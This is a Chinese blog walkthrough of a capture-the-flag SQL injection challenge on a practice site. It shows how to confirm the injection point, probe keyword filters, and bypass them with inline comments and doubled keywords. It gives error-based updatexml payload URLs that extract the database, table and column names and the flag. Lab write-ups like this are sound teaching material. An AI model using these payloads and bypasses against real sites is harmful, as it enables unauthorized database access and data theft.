实验吧-CTF-简单的sql注入思路

题目地址:http://ctf5.shiyanbar.com/423/web/

 

 

 

我们先用单引号测试

http://ctf5.shiyanbar.com/423/web/?id=1'               页面错误

再加个单引号

http://ctf5.shiyanbar.com/423/web/?id=1''               页面正常

 

那初步判断语句应该是

 

select * from xx where id='xxx'

 

然后我们测试下我们渗透经常用的关键字有没有被过滤

 

 

 

http://ctf5.shiyanbar.com/423/web/?id=1 or  and        select        union    1,2,3      information_schema.tables       information_schema.columns    table_schema    column_name   where     

 

 

 

 

 

 

这里 and , select,union,information_schema.columns,这些是可以确定是被过滤的

 

我前面的关键字是一个一个打下来的,单独出现的时候不会过滤,到后面2个同时出现就过滤了  反正到后面可以慢慢调试

 

 

后面出现有疑问的关键字就可以往中间面加,看有没有被过滤

 

 

对于过滤我们可以      内联注释、双重关键字、大小写混用、编码、。。。。

 

 

我们先根据前面猜想的语句  构造下面的payload

 

 

http://ctf5.shiyanbar.com/423/web/?id=1' or '1'='1


 

 

 

 

返回正常说明猜想正确的

 

 

这里的话我用到一个函数updatexml函数

 

 

查数据库

 

http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat('~',(/*!select*/ /*!database()*/ /*!from*/ flag  LIMIT 0,1),'~'),3) or '1'='1

 

 

因为关键词过滤,我就用/*!*/来进行绕过

 

Limit 0,1的话是因为防止它的结果出现多行,写这个默认提取第一个,然后通过更改第一位数字来进行遍历数据,这里不加也没事

 

 

查表名

 

这里table_schema我还用了双写,就直接复制两个table_schematable_schema看输出发现还是过滤了,就放到里面去tabtable_schemale_schema,就成功绕过了,这里你们可以自己测试

 

http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat('~',(/*!select*/  table_name  /*!from*/ information_schema.tables /*!where*/ /*!ttable_schemaable_schema*/ = 'web1' LIMIT 0,1),'~'),3) or '1'='1


 

 

 

 

 

 

这里的话就必须要有limit 0,1因为结果会返回多行,你不加的话会出现这个

 

 

查字段名

 

 

http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat('~',(/*!select*/  ccolumn_nameolumn_name  /*!from*/ infoinformation_schema.columnsrmation_schema.columns /*!where*/ /*!tatable_schemable_schema*/ = 'web1' /*!and*/ table_name='flag' LIMIT 0,1),'~'),3) or '1'='1


 

 

 

 

查数据

 

http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat('~',(/*!select*/  flag  /*!from*/ flag LIMIT 0,1),'~'),3) or '1'='1


 

 

 

 

 

 

 

 

有不懂的话,可以在下面评论我会尽快解答

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值